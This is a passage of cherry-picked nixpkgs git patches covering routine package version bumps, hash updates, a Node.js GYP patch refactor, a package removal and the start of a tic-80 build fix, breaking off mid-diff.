From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Tue, 17 Jun 2025 19:08:48 +0200
Subject: [PATCH 1267/4511] nodejs_20: use stable URL for GYP patches

(cherry picked from commit 998e9f0161736542459b3099accd5ced79716ef9)
---
 pkgs/development/web/nodejs/gyp-patches.nix | 24 +++++++++++++--------
 pkgs/development/web/nodejs/v22.nix         | 15 +++++--------
 2 files changed, 20 insertions(+), 19 deletions(-)

diff --git a/pkgs/development/web/nodejs/gyp-patches.nix b/pkgs/development/web/nodejs/gyp-patches.nix
index 67a2a2a12844..9b8f98f0630f 100644
--- a/pkgs/development/web/nodejs/gyp-patches.nix
+++ b/pkgs/development/web/nodejs/gyp-patches.nix
@@ -1,22 +1,28 @@
-{ fetchpatch2 }:
+{
+  lib,
+  fetchpatch2,
+  patch_npm ? true,
+  patch_tools ? true,
+}:
 let
-  name = "gyp-darwin-sandbox.patch";
-  url = "https://github.com/nodejs/gyp-next/commit/706d04aba5bd18f311dc56f84720e99f64c73466.patch";
+  url = "https://github.com/nodejs/gyp-next/commit/706d04aba5bd18f311dc56f84720e99f64c73466.patch?full_index=1";
 in
-[
+lib.optionals patch_tools ([
   # Fixes builds with Nix sandbox on Darwin for gyp.
   # See https://github.com/NixOS/nixpkgs/issues/261820
   # and https://github.com/nodejs/gyp-next/pull/216
   (fetchpatch2 {
-    inherit name url;
-    hash = "sha256-l8FzgLq9CbVJCkXfnTyDQ+vXKCz65wpaffE74oSU+kY=";
+    inherit url;
+    hash = "sha256-iV9qvj0meZkgRzFNur2v1jtLZahbqvSJ237NoM8pPZc=";
     stripLen = 1;
     extraPrefix = "tools/gyp/";
   })
+])
+++ lib.optionals patch_npm ([
   (fetchpatch2 {
-    inherit name url;
-    hash = "sha256-UVUn4onXfJgFoAdApLAbliiBgM9rxDdIo53WjFryoBI=";
+    inherit url;
+    hash = "sha256-1iyeeAprmWpmLafvOOXW45iZ4jWFSloWJxQ0reAKBOo=";
     stripLen = 1;
     extraPrefix = "deps/npm/node_modules/node-gyp/gyp/";
   })
-]
+])
diff --git a/pkgs/development/web/nodejs/v22.nix b/pkgs/development/web/nodejs/v22.nix
index f850d04d575d..5a23b348221f 100644
--- a/pkgs/development/web/nodejs/v22.nix
+++ b/pkgs/development/web/nodejs/v22.nix
@@ -14,6 +14,10 @@ let
     inherit openssl;
     python = python3;
   };
+
+  gypPatches = callPackage ./gyp-patches.nix {
+    patch_tools = false;
+  };
 in
 buildNodejs {
   inherit enableNpm;
@@ -44,6 +48,7 @@ buildNodejs {
         hash = "sha256-hSTLljmVzYmc3WAVeRq9EPYluXGXFeWVXkykufGQPVw=";
       })
     ]
+    ++ gypPatches
     ++ [
       ./configure-armv6-vfpv2.patch
       ./disable-darwin-v8-system-instrumentation-node19.patch
@@ -58,15 +63,5 @@ buildNodejs {
         hash = "sha256-k3h8mPgvaIYGAkGmaL+ix7kUnyLw4/PF7wXMAWrPMXo=";
         revert = true;
       })
-      # Fixes builds with Nix sandbox on Darwin for gyp.
-      # See https://github.com/NixOS/nixpkgs/issues/261820
-      # and https://github.com/nodejs/gyp-next/pull/216
-      (fetchpatch2 {
-        name = "gyp-darwin-sandbox.patch";
-        url = "https://github.com/nodejs/gyp-next/commit/706d04aba5bd18f311dc56f84720e99f64c73466.patch?full_index=1";
-        hash = "sha256-1iyeeAprmWpmLafvOOXW45iZ4jWFSloWJxQ0reAKBOo=";
-        stripLen = 1;
-        extraPrefix = "deps/npm/node_modules/node-gyp/gyp/";
-      })
     ];
 }

From 24d986162937d1d6eee25992f1a7eef02af93e41 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Thu, 19 Jun 2025 11:00:26 -0400
Subject: [PATCH 1268/4511] maintainers: add missing GitHub usernames

(cherry picked from commit 4d0d747d466129951d70a2f15d8eb7cfea0c3ec7)
---
 maintainers/maintainer-list.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 3951c245165c..753d16067732 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -6633,6 +6633,7 @@
   drakon64 = {
     name = "Adam Chance";
     email = "nixpkgs@drakon.cloud";
+    github = "drakon64";
     githubId = 6444703;
   };
   dramaturg = {
@@ -22873,6 +22874,7 @@
     name = "Zhifan";
     email = "nonno.felice69uwu@gmail.com";
     matrix = "@c3n21:matrix.org";
+    github = "c3n21";
     githubId = 37077738;
   };
   sioodmy = {

From a426673dcdfcb0b71057b4f1e640534573b4044e Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 6 Jun 2025 23:53:35 +0800
Subject: [PATCH 1269/4511] recoll: 1.39.1 -> 1.43.2

(cherry picked from commit 232c064d19a99cc4540db2361cacdcb484022736)
---
 .../recoll/0001-no-qtgui-darwin-bundle.patch  | 36 ++++++-------------
 pkgs/applications/search/recoll/default.nix   |  7 ++--
 .../search/recoll/fix-datadir.patch           | 13 -------
 3 files changed, 13 insertions(+), 43 deletions(-)
 delete mode 100644 pkgs/applications/search/recoll/fix-datadir.patch

diff --git a/pkgs/applications/search/recoll/0001-no-qtgui-darwin-bundle.patch b/pkgs/applications/search/recoll/0001-no-qtgui-darwin-bundle.patch
index 1f3a71fb3c9b..166700c2d077 100644
--- a/pkgs/applications/search/recoll/0001-no-qtgui-darwin-bundle.patch
+++ b/pkgs/applications/search/recoll/0001-no-qtgui-darwin-bundle.patch
@@ -1,39 +1,28 @@
-From 9a0102fe1da038ebe08107ead991964df11b0271 Mon Sep 17 00:00:00 2001
-From: annalee <150648636+a-n-n-a-l-e-e@users.noreply.github.com>
-Date: Mon, 19 Feb 2024 03:31:20 +0000
-Subject: [PATCH] no qtgui darwin bundle
-
----
- qtgui/recoll.pro.in | 11 +++++++++--
- 1 file changed, 9 insertions(+), 2 deletions(-)
-
-diff --git a/qtgui/recoll.pro.in b/qtgui/recoll.pro.in
-index a0ef314..6dbc3b5 100644
 --- a/qtgui/recoll.pro.in
 +++ b/qtgui/recoll.pro.in
-@@ -180,7 +180,7 @@ windows {
-   }
+@@ -192,7 +192,7 @@
+     }
  }
  
--macx: {
+-macx:macxbundlebuild() {
 +if (false) {
-   QCBUILDLOC=Qt_6_4_2_for_macOS
- 
-   # QT += webkit webkitwidgets
-@@ -375,7 +375,7 @@ macx: {
+   QCBUILDLOC=Qt_6_7_3_for_macOS
+   RECOLLDEPS = $$PWD/../../..
+   QMAKE_APPLE_DEVICE_ARCHS = x86_64 arm64
+@@ -402,7 +402,7 @@
    QMAKE_BUNDLE_DATA = APP_EXAMPLES APP_EXAMPLES_MAC APP_FILTERS APP_IMAGES APP_DOC
  }
  
--unix:!macx {
+-unix:!macxbundlebuild() {
 +unix {
  
  VPATH = @srcdir@
- 
-@@ -400,6 +400,13 @@ VPATH = @srcdir@
+ # For SingleApplication
+@@ -425,6 +425,13 @@
    SOURCES += crontool.cpp \
          rtitool.cpp
  
-+  macx {
++  macxbundlebuild() {
 +    SOURCES += ../utils/closefrom.cpp \
 +    ../utils/execmd.cpp \
 +    ../utils/netcon.cpp \
@@ -43,6 +32,3 @@ index a0ef314..6dbc3b5 100644
    FORMS  += crontool.ui \
          rtitool.ui
  
--- 
-2.43.0
-
diff --git a/pkgs/applications/search/recoll/default.nix b/pkgs/applications/search/recoll/default.nix
index bad287cc9153..21911c93390d 100644
--- a/pkgs/applications/search/recoll/default.nix
+++ b/pkgs/applications/search/recoll/default.nix
@@ -75,11 +75,11 @@ in
 
 mkDerivation rec {
   pname = "recoll";
-  version = "1.39.1";
+  version = "1.43.2";
 
   src = fetchurl {
     url = "https://www.recoll.org/${pname}-${version}.tar.gz";
-    hash = "sha256-Eeadj/AnuztCb7VIYEy4hKbduH3CzK53tADvI9+PWmQ=";
+    hash = "sha256-FbDXknumjktcikOfAe4FKtPmggJGGHasq8dpD+8mNzE=";
   };
 
   mesonFlags =
@@ -107,13 +107,10 @@ mkDerivation rec {
     ];
 
   env.NIX_CFLAGS_COMPILE = toString [
-    "-DNIXPKGS"
     "-fpermissive" # libxml2-2.12 changed const qualifiers
   ];
 
   patches = [
-    # fix "No/bad main configuration file" error
-    ./fix-datadir.patch
     # use the same configure based build for darwin as linux
     ./0001-no-qtgui-darwin-bundle.patch
   ];
diff --git a/pkgs/applications/search/recoll/fix-datadir.patch b/pkgs/applications/search/recoll/fix-datadir.patch
deleted file mode 100644
index 7d5471b636e8..000000000000
--- a/pkgs/applications/search/recoll/fix-datadir.patch
+++ /dev/null
@@ -1,13 +0,0 @@
-diff --git a/utils/rclutil.cpp b/utils/rclutil.cpp
-index 6bafc119..d997cd17 100644
---- a/utils/rclutil.cpp
-+++ b/utils/rclutil.cpp
-@@ -279,7 +279,7 @@ const string& path_pkgdatadir()
-         "a subfolder of the installation directory. \n"
-         "Please set the RECOLL_DATADIR environment variable to point to it\n"
-         "(e.g. setx RECOLL_DATADIR \"C:/Program Files (X86)/Recoll/Share)\"\n";
--#elif defined(__APPLE__) && defined(RECOLL_AS_MAC_BUNDLE)
-+#elif defined(__APPLE__) && defined(RECOLL_AS_MAC_BUNDLE) && defined(NIXPKGS)
-     // The package manager builds (Macports, Homebrew, Nixpkgs ...) all arrange to set a proper
-     // compiled value for RECOLL_DATADIR. We can't do this when building a native bundle with
-     // QCreator, in which case we use the executable location.

From c227d6ba511ed5a8a6007412c123a8fccab8f92e Mon Sep 17 00:00:00 2001
From: bstanderline <153822813+bstanderline@users.noreply.github.com>
Date: Wed, 18 Jun 2025 15:58:19 +0100
Subject: [PATCH 1270/4511] zabbix70: 7.0.13 -> 7.0.14

(cherry picked from commit b29257e1f5cbecfd801fe0306d5b7dd382e375fd)
---
 pkgs/servers/monitoring/zabbix/versions.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/monitoring/zabbix/versions.nix b/pkgs/servers/monitoring/zabbix/versions.nix
index 4cd732fe12b4..62688d27b2f0 100644
--- a/pkgs/servers/monitoring/zabbix/versions.nix
+++ b/pkgs/servers/monitoring/zabbix/versions.nix
@@ -4,8 +4,8 @@ generic: {
     hash = "sha256-DQGzk90isqYLNvs3qY/PEIHGg62Ygyot3YeUOhIAg54=";
   };
   v70 = generic {
-    version = "7.0.13";
-    hash = "sha256-2e9/HPsL3lZY2rsigIIPnOHPMyV/rHn0DwM3Org60Xw=";
+    version = "7.0.14";
+    hash = "sha256-/otU7tnjoF3UXPSxoqpjv9wRR+h0DeioeMyu+tHttv8=";
   };
   v60 = generic {
     version = "6.0.36";

From 7b989c6dbc768e18b094cdbc33f079d734379605 Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Wed, 18 Jun 2025 21:28:57 +0200
Subject: [PATCH 1271/4511] tauno-monitor: 0.1.28 -> 0.1.29

(cherry picked from commit 918d451075e547c4eb60423f7693d854bd6e271e)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
index f3dd3945357b..c92b1e7d1b5c 100644
--- a/pkgs/by-name/ta/tauno-monitor/package.nix
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -13,14 +13,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "tauno-monitor";
-  version = "0.1.28";
+  version = "0.1.29";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "taunoe";
     repo = "tauno-monitor";
     tag = "v${version}";
-    hash = "sha256-DxWB69bkDAe35ci/e18Dji0EpZvbz7Y5y+32ZchV/m8=";
+    hash = "sha256-U7vp0cPIRQeeuLGazoCQAnVQaKxDznC65bE31SwYU3A=";
   };
 
   nativeBuildInputs = [

From 876fa54d0e0efbe41c4c2a157ac5355daa041e17 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 18 Jun 2025 20:05:58 -0400
Subject: [PATCH 1272/4511] quicksynergy: drop

Does not build with gcc 14, upstream no longer available.

(cherry picked from commit 67c9f3c86409d44070fecc7b5ffa4fcd10f591e4)
---
 pkgs/by-name/qu/quicksynergy/package.nix | 45 ------------------------
 pkgs/top-level/aliases.nix               |  1 +
 2 files changed, 1 insertion(+), 45 deletions(-)
 delete mode 100644 pkgs/by-name/qu/quicksynergy/package.nix

diff --git a/pkgs/by-name/qu/quicksynergy/package.nix b/pkgs/by-name/qu/quicksynergy/package.nix
deleted file mode 100644
index bb69683e6858..000000000000
--- a/pkgs/by-name/qu/quicksynergy/package.nix
+++ /dev/null
@@ -1,45 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  pkg-config,
-  gtk2,
-  synergy,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "quicksynergy";
-  version = "0.9.0";
-  src = fetchurl {
-    url = "mirror://sourceforge/project/quicksynergy/Linux/${version}/quicksynergy-${version}.tar.gz";
-    sha256 = "1pi8503bg8q1psw50y6d780i33nnvfjqiy9vnr3v52pdcfip8pix";
-  };
-
-  nativeBuildInputs = [ pkg-config ];
-  buildInputs = [
-    gtk2
-    synergy
-  ];
-  preBuild = "
-    sed -i 's@/usr/bin@${synergy.out}/bin@' src/synergy_config.c
-  ";
-  meta = {
-    description = "GUI application to share mouse and keyboard between computers";
-    longDescription = "
-      QuickSynergy is a graphical interface (GUI) for easily configuring
-      Synergy2, an application that allows the user to share his mouse and
-      keyboard between two or more computers.
-
-      Without the need for any external hardware, Synergy2 uses the TCP-IP
-      protocol to share the resources, even between machines with different
-      operating systems, such as Mac OS, Linux and Windows.
-
-      Remember to open port 24800 (used by synergys program) if you want to
-      host mouse and keyboard.";
-    homepage = "https://sourceforge.net/projects/quicksynergy/";
-    license = lib.licenses.gpl2;
-    maintainers = [ lib.maintainers.spinus ];
-    platforms = lib.platforms.linux;
-    mainProgram = "quicksynergy";
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 446c93001dee..872dea9a46b9 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1627,6 +1627,7 @@ mapAliases {
   quicklispPackagesGCL = throw "Lisp packages have been redesigned. See 'lisp-modules' in the nixpkgs manual."; # Added 2024-05-07
   quicklispPackagesSBCL = throw "Lisp packages have been redesigned. See 'lisp-modules' in the nixpkgs manual."; # Added 2024-05-07
   quickserve = throw "'quickserve' has been removed because its upstream is unavailable"; # Added 2025-05-10
+  quicksynergy = throw "'quicksynergy' has been removed due to lack of maintenance upstream. Consider using 'deskflow' instead."; # Added 2025-06-18
   qxw = throw "'qxw' has been removed due to lack of maintenance upstream. Consider using 'crosswords' instead"; # Added 2024-10-19
 
   ### R ###

From 32507afc78da5f843fadea9a5ff3dfa472d8e604 Mon Sep 17 00:00:00 2001
From: Savyasachee Jha <genghizkhan91@hawkradius.com>
Date: Thu, 19 Jun 2025 07:27:34 +0200
Subject: [PATCH 1273/4511] matrix-continuwuity: 0.5.0-rc.5 -> 0.5.0-rc.6

(cherry picked from commit a391422dc34de1c824f2ac0b9efd8d7a5a77e695)
---
 pkgs/by-name/ma/matrix-continuwuity/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-continuwuity/package.nix b/pkgs/by-name/ma/matrix-continuwuity/package.nix
index 8ace6e4d0edf..67427c3ad2aa 100644
--- a/pkgs/by-name/ma/matrix-continuwuity/package.nix
+++ b/pkgs/by-name/ma/matrix-continuwuity/package.nix
@@ -31,18 +31,18 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "matrix-continuwuity";
-  version = "0.5.0-rc.5";
+  version = "0.5.0-rc.6";
 
   src = fetchFromGitea {
     domain = "forgejo.ellis.link";
     owner = "continuwuation";
     repo = "continuwuity";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Oq2scBu3Ewao828BT1QGffqIqF5WoH9HMXEXKg1YU0o=";
+    hash = "sha256-xK/jTURQzFJ1FkF1E9cItTxXAgXgTwAiA9/8aE51FvU=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-bjjGR3++CaDEtlsQj9GgdViCEB5l72sI868uTFBtIwg=";
+  cargoHash = "sha256-+7k1dtrXdonFDXa2Z/qVo4n1hZRmMWEQKKlffki8+/k=";
 
   nativeBuildInputs = [
     pkg-config

From 4b8840541baa9f83cac4448f96858768e165e0c8 Mon Sep 17 00:00:00 2001
From: Marie Ramlow <me@nycode.dev>
Date: Thu, 19 Jun 2025 22:35:36 +0200
Subject: [PATCH 1274/4511] zfs_{2_3,unstable}: 2.3.2 -> 2.3.3

(cherry picked from commit 53aac1d02ac39de3ef099afb0f7f649b1e1e46ef)
---
 pkgs/os-specific/linux/zfs/2_3.nix      | 6 +++---
 pkgs/os-specific/linux/zfs/unstable.nix | 6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/os-specific/linux/zfs/2_3.nix b/pkgs/os-specific/linux/zfs/2_3.nix
index 992cba2a68b0..fdef3e0cb6a3 100644
--- a/pkgs/os-specific/linux/zfs/2_3.nix
+++ b/pkgs/os-specific/linux/zfs/2_3.nix
@@ -15,10 +15,10 @@ callPackage ./generic.nix args {
   # this attribute is the correct one for this package.
   kernelModuleAttribute = "zfs_2_3";
   # check the release notes for compatible kernels
-  kernelCompatible = kernel: kernel.kernelOlder "6.15";
+  kernelCompatible = kernel: kernel.kernelOlder "6.16";
 
   # this package should point to the latest release.
-  version = "2.3.2";
+  version = "2.3.3";
 
   tests = {
     inherit (nixosTests.zfs) installer series_2_3;
@@ -29,5 +29,5 @@ callPackage ./generic.nix args {
     amarshall
   ];
 
-  hash = "sha256-+DqpIgHCVi0fDOqvKwaGXIiiXw8xEnlv2tgRwgLX9G8=";
+  hash = "sha256-NXAbyGBfpzWfm4NaP1/otTx8fOnoRV17343qUMdQp5U=";
 }
diff --git a/pkgs/os-specific/linux/zfs/unstable.nix b/pkgs/os-specific/linux/zfs/unstable.nix
index b2ebfccc1410..d1e1d80a1e73 100644
--- a/pkgs/os-specific/linux/zfs/unstable.nix
+++ b/pkgs/os-specific/linux/zfs/unstable.nix
@@ -14,20 +14,20 @@ callPackage ./generic.nix args {
   # this attribute is the correct one for this package.
   kernelModuleAttribute = "zfs_unstable";
   # check the release notes for compatible kernels
-  kernelCompatible = kernel: kernel.kernelOlder "6.15";
+  kernelCompatible = kernel: kernel.kernelOlder "6.16";
 
   # this package should point to a version / git revision compatible with the latest kernel release
   # IMPORTANT: Always use a tagged release candidate or commits from the
   # zfs-<version>-staging branch, because this is tested by the OpenZFS
   # maintainers.
-  version = "2.3.2";
+  version = "2.3.3";
   # rev = "";
 
   tests = {
     inherit (nixosTests.zfs) unstable;
   };
 
-  hash = "sha256-+DqpIgHCVi0fDOqvKwaGXIiiXw8xEnlv2tgRwgLX9G8=";
+  hash = "sha256-NXAbyGBfpzWfm4NaP1/otTx8fOnoRV17343qUMdQp5U=";
 
   extraLongDescription = ''
     This is "unstable" ZFS, and will usually be a pre-release version of ZFS.

From 7a90e6a6819cea26fdee49d53826a040d34ca6bb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 20 Jun 2025 02:32:30 +0000
Subject: [PATCH 1275/4511] thunderbird-128-unwrapped: 128.11.0esr ->
 128.11.1esr

(cherry picked from commit 1daafc52a341082b4daa7b452afa7e36c8cc7074)
---
 .../networking/mailreaders/thunderbird/packages.nix           | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index ee32ac85aeb0..8aafc71836f2 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -106,8 +106,8 @@ rec {
   thunderbird-128 = common {
     applicationName = "Thunderbird ESR";
 
-    version = "128.11.0esr";
-    sha512 = "33de73db2d5ab5152ff11c1947317081259f4e7644631b5e6b9c3b192b4473a5ae6fe897b27b3c8e240ff8c606ffaa8cc14e169c34a94b8de6e64b0c5f0f6810";
+    version = "128.11.1esr";
+    sha512 = "8fd99f68895b543bdc5bba38d7720f0e48e2a82c9fe5e8ca15534e3918cc40b5b2911666dbbbda0a7911783a03a0d8f7371ea353fd67416baca1e1dffdd25c44";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-128";

From 8fe3b93ecf7efd7afc9bb4d9ece3a0e45234c29a Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sat, 7 Jun 2025 11:49:25 +0200
Subject: [PATCH 1276/4511] gradle_8: 8.14.1 -> 8.14.2

Release notes: https://github.com/gradle/gradle/releases/tag/v8.14.2
Full changelog: https://github.com/gradle/gradle/compare/v8.14.1...v8.14.2

(cherry picked from commit 62b549a605714039b1f08c135d290c3bd3752ee5)
---
 pkgs/development/tools/build-managers/gradle/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/build-managers/gradle/default.nix b/pkgs/development/tools/build-managers/gradle/default.nix
index fa48f16d9972..4144912ecff8 100644
--- a/pkgs/development/tools/build-managers/gradle/default.nix
+++ b/pkgs/development/tools/build-managers/gradle/default.nix
@@ -225,8 +225,8 @@ rec {
   # https://docs.gradle.org/current/userguide/compatibility.html
 
   gradle_8 = gen {
-    version = "8.14.1";
-    hash = "sha256-hFlSqdavp4PbcLs7Dv+q5FrlVCyiu3kpYZ6K9Jy2NM8=";
+    version = "8.14.2";
+    hash = "sha256-cZehL0UHlJMVMkadT/IaWeosHNWaPsP4nANcPEIKaZk=";
     defaultJava = jdk21;
   };
 

From dc882a1a98697f374bb54d1899b072018ecb2119 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sat, 7 Jun 2025 11:56:37 +0200
Subject: [PATCH 1277/4511] gradle_7: 7.6.4 -> 7.6.5

Release notes: https://docs.gradle.org/7.6.5/release-notes.html
Full changelog: https://github.com/gradle/gradle/compare/v7.6.4...v7.6.5

(cherry picked from commit 29cac6e933047bcb2313f64fd224372b8ab75fcd)
---
 pkgs/development/tools/build-managers/gradle/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/build-managers/gradle/default.nix b/pkgs/development/tools/build-managers/gradle/default.nix
index fa48f16d9972..26c80909e6d3 100644
--- a/pkgs/development/tools/build-managers/gradle/default.nix
+++ b/pkgs/development/tools/build-managers/gradle/default.nix
@@ -231,8 +231,8 @@ rec {
   };
 
   gradle_7 = gen {
-    version = "7.6.4";
-    hash = "sha256-vtHaM8yg9VerE2kcd/OLtnOIEZ5HlNET4FEDm4Cvm7E=";
+    version = "7.6.5";
+    hash = "sha256-uBL+wO230n4K41lViHuylUU2+j5E7a9IEVDaBY4VTZo=";
     defaultJava = jdk17;
   };
 

From bb1db6a9ec6bd52e39d87ee51f4a92c2d344c7dd Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Tue, 25 Mar 2025 14:50:21 +0000
Subject: [PATCH 1278/4511] nextcloud*.packages.apps.nextpod: init at 0.7.7

(cherry picked from commit 55e5e0aa0ca2e274f4de2ce6427086917bd0e88f)
---
 pkgs/servers/nextcloud/packages/30.json             | 10 ++++++++++
 pkgs/servers/nextcloud/packages/31.json             | 10 ++++++++++
 pkgs/servers/nextcloud/packages/nextcloud-apps.json |  1 +
 3 files changed, 21 insertions(+)

diff --git a/pkgs/servers/nextcloud/packages/30.json b/pkgs/servers/nextcloud/packages/30.json
index 797455c8014b..c8cd08989241 100644
--- a/pkgs/servers/nextcloud/packages/30.json
+++ b/pkgs/servers/nextcloud/packages/30.json
@@ -239,6 +239,16 @@
       "agpl"
     ]
   },
+  "nextpod": {
+    "hash": "sha256-yQD4e5R6ZfBQkEsPVpddGMLDVOlV6HSVZjttgUjEdro=",
+    "url": "https://github.com/pbek/nextcloud-nextpod/releases/download/v0.7.7/nextpod-nc.tar.gz",
+    "version": "0.7.7",
+    "description": "This Nextcloud app lets you visualize your podcast subscriptions and episode downloads from\n[GPodderSync](https://apps.nextcloud.com/apps/gpoddersync), which acts as a basic gpodder.net\napi to sync podcast consumer apps (podcatchers) like AntennaPod.\n\nYou need to have [GPodderSync](https://apps.nextcloud.com/apps/gpoddersync) installed to use this app!",
+    "homepage": "https://github.com/pbek/nextcloud-nextpod",
+    "licenses": [
+      "agpl"
+    ]
+  },
   "notes": {
     "hash": "sha256-/Zym7bNotcdradtR3cG+rIaAH9jZs+/3PCP7zXS6WJo=",
     "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.1/notes-v4.12.1.tar.gz",
diff --git a/pkgs/servers/nextcloud/packages/31.json b/pkgs/servers/nextcloud/packages/31.json
index dfa8dbdd3f90..e9f37dbdf021 100644
--- a/pkgs/servers/nextcloud/packages/31.json
+++ b/pkgs/servers/nextcloud/packages/31.json
@@ -239,6 +239,16 @@
       "agpl"
     ]
   },
+  "nextpod": {
+    "hash": "sha256-yQD4e5R6ZfBQkEsPVpddGMLDVOlV6HSVZjttgUjEdro=",
+    "url": "https://github.com/pbek/nextcloud-nextpod/releases/download/v0.7.7/nextpod-nc.tar.gz",
+    "version": "0.7.7",
+    "description": "This Nextcloud app lets you visualize your podcast subscriptions and episode downloads from\n[GPodderSync](https://apps.nextcloud.com/apps/gpoddersync), which acts as a basic gpodder.net\napi to sync podcast consumer apps (podcatchers) like AntennaPod.\n\nYou need to have [GPodderSync](https://apps.nextcloud.com/apps/gpoddersync) installed to use this app!",
+    "homepage": "https://github.com/pbek/nextcloud-nextpod",
+    "licenses": [
+      "agpl"
+    ]
+  },
   "notes": {
     "hash": "sha256-/Zym7bNotcdradtR3cG+rIaAH9jZs+/3PCP7zXS6WJo=",
     "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.1/notes-v4.12.1.tar.gz",
diff --git a/pkgs/servers/nextcloud/packages/nextcloud-apps.json b/pkgs/servers/nextcloud/packages/nextcloud-apps.json
index 0b406f9a7ed6..980f151a7a09 100644
--- a/pkgs/servers/nextcloud/packages/nextcloud-apps.json
+++ b/pkgs/servers/nextcloud/packages/nextcloud-apps.json
@@ -25,6 +25,7 @@
 , "memories": "agpl3Plus"
 , "music": "agpl3Plus"
 , "news": "agpl3Plus"
+, "nextpod": "agpl3Only"
 , "notes": "agpl3Plus"
 , "oidc_login": "agpl3Only"
 , "onlyoffice": "asl20"

From 11362feca5b0c3a3da746fc389eee701fe5b2ce6 Mon Sep 17 00:00:00 2001
From: Shawn8901 <shawn8901@googlemail.com>
Date: Fri, 20 Jun 2025 09:10:08 +0200
Subject: [PATCH 1279/4511] grafanaPlugins.victoriametrics-metrics-datasource:
 0.14.0 -> 0.16.0

(cherry picked from commit 8808aa0da7fa93c4e5d768fe6742212d9f374c32)
---
 .../plugins/victoriametrics-metrics-datasource/default.nix    | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/monitoring/grafana/plugins/victoriametrics-metrics-datasource/default.nix b/pkgs/servers/monitoring/grafana/plugins/victoriametrics-metrics-datasource/default.nix
index 05d0717d8000..37ce8cd0df44 100644
--- a/pkgs/servers/monitoring/grafana/plugins/victoriametrics-metrics-datasource/default.nix
+++ b/pkgs/servers/monitoring/grafana/plugins/victoriametrics-metrics-datasource/default.nix
@@ -2,8 +2,8 @@
 
 grafanaPlugin {
   pname = "victoriametrics-metrics-datasource";
-  version = "0.14.0";
-  zipHash = "sha256-V3sXibYtIZGQh/nBkhwdpIsPF0buoJ16l2ML2s7ijj0=";
+  version = "0.16.0";
+  zipHash = "sha256-Oy++CDFAdG2wlAkxzDKWUX6PVX+t47tZBImUEw+XUho=";
   meta = {
     description = "VictoriaMetrics metrics datasource for Grafana";
     license = lib.licenses.agpl3Only;

From 603eab416889e6746794e13e9f8161807b5ba764 Mon Sep 17 00:00:00 2001
From: Euan Kemp <euank@euank.com>
Date: Fri, 6 Jun 2025 00:47:04 +0900
Subject: [PATCH 1280/4511] tic-80: update to git HEAD and fix build

The breakage before was due to the bundled SDL2.

This updates the build to use nixpkg's version of SDL2, as well as
lua5_3 and a few others, which is enough to unbreak the build.

Some of the dependent libraries aren't in nixpkgs, or we only have an
incompatible version in nixpkgs, so not all of the libraries are taken
from the system.

Still, now it builds and runs, I think that's enough of an improvement
we can accept the mix of system and upstream libraries in use here!

(cherry picked from commit b119dcca69b05af10a0b55fd5eee7424a56bf6c8)
---
 pkgs/by-name/ti/tic-80/package.nix | 113 +++++++++--------------------
 1 file changed, 36 insertions(+), 77 deletions(-)

diff --git a/pkgs/by-name/ti/tic-80/package.nix b/pkgs/by-name/ti/tic-80/package.nix
index 713f1ddaa7e4..c43fc26d4779 100644
--- a/pkgs/by-name/ti/tic-80/package.nix
+++ b/pkgs/by-name/ti/tic-80/package.nix
@@ -9,49 +9,36 @@
   fetchFromGitHub,
   libGL,
   libGLU,
-  alsa-lib,
   libX11,
-  libICE,
-  libXi,
-  libXScrnSaver,
-  libXcursor,
-  libXinerama,
-  libXext,
-  libXxf86vm,
-  libXrandr,
-  libxkbcommon,
-  wayland,
-  wayland-protocols,
-  wayland-scanner,
-  dbus,
-  udev,
-  libdecor,
-  pipewire,
-  libpulseaudio,
+  janet,
+  lua5_3,
+  quickjs,
+  SDL2,
